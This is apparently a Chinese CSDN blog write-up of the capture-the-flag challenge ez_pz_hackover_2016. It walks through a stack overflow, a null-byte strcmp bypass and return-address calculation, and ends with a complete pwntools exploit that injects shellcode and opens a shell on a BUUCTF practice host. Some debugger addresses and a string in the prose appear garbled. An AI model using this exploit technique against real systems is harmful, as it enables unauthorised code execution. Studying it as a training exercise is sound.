ez_pz_hackover_2016

本文详细解析了一个栈溢出漏洞的利用过程,通过checksec检查了保护设置,利用strcmp函数的特性构造payload,绕过限制,并在没有system函数和/bin/sh的情况下,通过栈可执行性直接将shellcode写入栈中,修改返回地址以执行shellcode。文章还展示了如何在GDB中调试并确定payload的具体内容和地址。
摘要由CSDN通过智能技术生成

ez_pz_hackover_2016

使用checksec查看:
在这里插入图片描述
开启了完全RELRO,使整个 GOT 只读,放进IDA中查看:
在这里插入图片描述
header()函数是初始化函数,没用,主要程序流程在chall()中,直接看chall()函数:
在这里插入图片描述
首先程序会printf变量s在栈上的地址

然后接受用户输入0x3ff个字符

接着用strcmp()函数将用户输入的字符串和ceashme做对比,如果不同,退出程序。

如果相同,进入vuln()函数,我们跟进去查看:

很明显,一个栈溢出。

本题中并没有system函数以及/bin/sh,但栈可执行,所以可以直接将shellcode写入栈中,将返回地址修改成shellcode的地址即可。

strcmp()函数可用\x00绕过,开启gdb进行调试:
在这里插入图片描述
可以看到,0xffe781d2c,0xffe781d3r

随后输入的MMMM0xffe781da

我们需要将shellcode写到ebp+4处,也就是0xffe781ec距离我们真实写入的地方0x12

payload = b'crashme\x00'+b'M'*0x12

接下来解决shellcode的地址问题:

还是上面那张图,我们得到的栈上的地址,它在参数s栈上的相对位置是0x20,ebp+4的相对地址是0x3c,距离0x1c,所以可以用stack_addr-0x1c来表示返回地址。

exp:

from pwn import *

#start 
r = remote("node4.buuoj.cn",25436)
# r = process("../buu/ez_pz_hackover_2016")
context.arch = 'i386'
context.log_level='debug'

gdb.attach(r,'b *0x8048600')

#params
r.recvuntil('0x')
stack_addr = int(r.recv(8),16)

#attack
# payload=b'crashme\x00MMMM'
payload = b'crashme\x00'+b'M'*0x12 + p32(stack_addr-0x1c) + asm(shellcraft.sh())
r.sendline(payload)

r.interactive()
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值